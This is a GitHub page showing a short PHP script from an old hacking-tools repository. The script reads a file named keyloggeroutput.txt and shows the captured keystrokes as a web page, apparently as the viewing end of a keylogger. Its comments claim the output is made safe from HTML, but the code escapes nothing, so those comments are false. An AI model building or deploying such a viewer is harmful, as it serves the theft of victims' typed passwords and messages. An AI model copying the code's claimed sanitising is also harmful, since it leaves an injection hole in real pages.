forked from tuwid/darkc0de-old-stuff
-
Notifications
You must be signed in to change notification settings - Fork 7
/
fileread.php
40 lines (30 loc) · 833 Bytes
/
fileread.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<html>
<body>
<?PHP
$File = "keyloggeroutput.txt";
if (isset($File))
{
$Handle = @fopen ($File, "r"); // '@' suppresses external errors
if ($Handle)
{
$FileText = fread ($Handle, 10000); // Read up to 10,000 Bytes
fclose ($Handle);
// Fix HTML tags that may be there
$SafeText1 = str_replace ("Space", " ", $FileText);
$SafeText2 = str_replace ("Return", "\n", $SafeText1);
$SafeText3 = str_replace ("Oem_Comma", ",", $SafeText2);
$SafeText = str_replace ("Oem_Period", ".", $SafeText3);
// Now it is safe to display it
echo " <H2 ALIGN=CENTER>File: $File</H2>\n";
echo "<PRE>\n";
echo $SafeText;
echo "</PRE>\n";
}
else
{
echo " <H3>Error: File '$File' is not accessible.</H3>\n";
}
}
?>
</body>
</html>